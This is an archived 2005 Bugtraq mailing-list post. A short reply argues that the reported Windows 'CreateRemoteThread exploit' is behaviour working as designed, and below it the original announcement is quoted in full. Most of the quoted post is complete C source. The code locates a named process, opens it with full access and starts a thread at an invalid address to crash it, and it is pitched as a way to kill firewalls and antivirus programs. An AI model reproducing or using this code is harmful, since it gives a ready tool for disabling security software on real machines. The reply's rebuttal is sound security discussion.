lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Fri, 2 Dec 2005 16:36:02 +0200
From: Anton <bolkin@...il.com>
To: "q7x@...iyane.com" <q7x@...iyane.com>
Cc: bugtraq@...urityfocus.com
Subject: Re: Microsoft Windows CreateRemoteThread Exploit

It is functioning as designed:
Once you have enough permissions to call OpenProcess on some process,
be it firewall or antivirus, you can do with it whatever you wish, in
Your case create invalid thread.

On 1 Dec 2005 10:01:51 -0000, q7x@...iyane.com <q7x@...iyane.com> wrote:
> Microsoft Windows CreateRemoteThread Exploit
> name : nima Salehi
> email :  Q7X@...iyane.com
> web site : www.Ashiyane.com www.Ashiyane.net
> Copyright (c) 2002-2005 Ashiyane Digital Securty Team
>   ---------------------------------------------------------------------
> Systems Affected:
>     - Windows XP (all SP)
>     - Windows 2000 PRO (all SP)
>     - Windows 2000 Server (all SP)
>     - Windows 2000 AdvServer (all SP)
>     - Windows 2003 AdvServer (all SP)
> ---------------------------------------------------------------------
>   Description:
>    when the one process open with  OpenProcess function and use CreateRemoteThread(Process,0,0,x,0,0,0) then the process crash.
>    an example hackers can use this method for kill firewalls and antiviruses
>    sorry for poor english
>  ---------------------------------------------------------------------
>   Exploit :
>
>
> #include <windows.h>
> #include <tlhelp32.h>
> #include <stdio.h>
>
> BOOL exploit(char* chProcessName)
> {
>
>         HANDLE hProcessSnap = NULL;
>
>         HANDLE hProcess = NULL;
>
>         BOOL bFound = FALSE;
>
>         BOOL bRet = FALSE;
>
>         PROCESSENTRY32 pe32 = {0};
>
>         UINT uExitCode = 0;
>
>         DWORD dwExitCode = 0;
>
>         LPDWORD lpExitCode = &dwExitCode;
>
>
>
>
>
>         hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
>
>     if (hProcessSnap == INVALID_HANDLE_VALUE)
>     return (FALSE);
>
>    pe32.dwSize = sizeof(PROCESSENTRY32);
>
>     printf("\n[+] Search For Process ... \n");
>
>
>    while(!bFound && Process32Next(hProcessSnap, &pe32))
>    {
>        if(lstrcmpi(pe32.szExeFile, chProcessName) == 0)
>            bFound = TRUE;
>
>    }
>
>    CloseHandle(hProcessSnap);
>
>    if(!bFound){
>
>                 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
>     FOREGROUND_RED| FOREGROUND_INTENSITY)          ;
>
>
>            printf("[-] Sorry Process Not Find \n");
>
>            return(FALSE);
>
>   }
>    printf("[+] Process Find \n");
>
>    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
>
>
>    if(hProcess == NULL){
>
>
>         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
>     FOREGROUND_RED| FOREGROUND_INTENSITY)          ;
>
>
>    printf("[-] Sorry Write Access Denied for This Process \n");
>    printf("[-] Exploit Failed  :( \n");
>
>    return(FALSE);
>    }
>
>
>    printf("[+] Write Access Is allowed \n");
>
>    printf("[+] Send Exploit To Process ...\n");
>
>    CreateRemoteThread(hProcess,0,0,(DWORD (__stdcall *)(void *))100,0,0,0);
>
>    printf("[+] Successful  :)\n");
>
>
>    return(pe32.th32ProcessID);
> }
>
> int main(int argc,char **argv)
> {
> char* chProcess = argv[1];
>
>        COORD coordScreen = { 0, 0 };
>    DWORD cCharsWritten;
>     CONSOLE_SCREEN_BUFFER_INFO csbi;
>     DWORD dwConSize;
>     HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
>
>     GetConsoleScreenBufferInfo(hConsole, &csbi);
>     dwConSize = csbi.dwSize.X * csbi.dwSize.Y;
>     FillConsoleOutputCharacter(hConsole, TEXT(' '), dwConSize,
>         coordScreen, &cCharsWritten);
>     GetConsoleScreenBufferInfo(hConsole, &csbi);
>     FillConsoleOutputAttribute(hConsole, csbi.wAttributes, dwConSize,
>         coordScreen, &cCharsWritten);
>     SetConsoleCursorPosition(hConsole, coordScreen);
>
>         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
>     FOREGROUND_GREEN| FOREGROUND_INTENSITY)        ;
>
>
>    if(argc < 2) {
>
>
>         printf("\n");
>     printf("  ==========================================================================   \n");
>         printf("  >              Microsoft Windows CreateRemoteThread Exploit              <   \n");
>     printf("  >            BUG Find By Q7X ( Nima Salehi ) Q7X@...iyane.com            <   \n");
>
>         printf("  >           Exploited By Q7X ( Nima Salehi ) Q7X@...iyane.com            <   \n");
>          SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
>     FOREGROUND_RED | FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
>
>
>     printf("  >  Compile   : cl -o nima.c   ( Win32/VC++ )                             <   \n");
>
>         printf("  >  Usage     : nima.exe  Process                                         <   \n");
>         printf("  >  Example   : nima.exe  explorer.exe                                    <   \n");
>         printf("  >  Tested on : Windows XP (SP0 ,SP1 ,SP2) , Windows 2000 AdvServer (SP4) <   \n");
>     printf("  >              Windows 2000 Server (SP4), Windows 2003 (SP0 , SP1)       <   \n");
>         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
>     FOREGROUND_RED| FOREGROUND_INTENSITY)          ;
>
>         printf("  >     Copyright 2002-2005 By Ashiyane Digital Network Security Team      <   \n");
>     printf("  >     www.Ashiyane.com ( Free )        www.Ashiyane.net ( Not Free )     <   \n");
>
>         printf("  >              Special Tanx To My Best Friend Behrooz_Ice                <   \n");
>
>         printf("  ==========================================================================  \n");
>
>
>   }
>     else
>
>   exploit(chProcess);
>
>
>
>
>
>  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
>     FOREGROUND_RED |FOREGROUND_GREEN|FOREGROUND_BLUE);
>
>
> }
>


--
----------------------------------------
http://bolkin.blogspot.com/
----------------------------------------

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ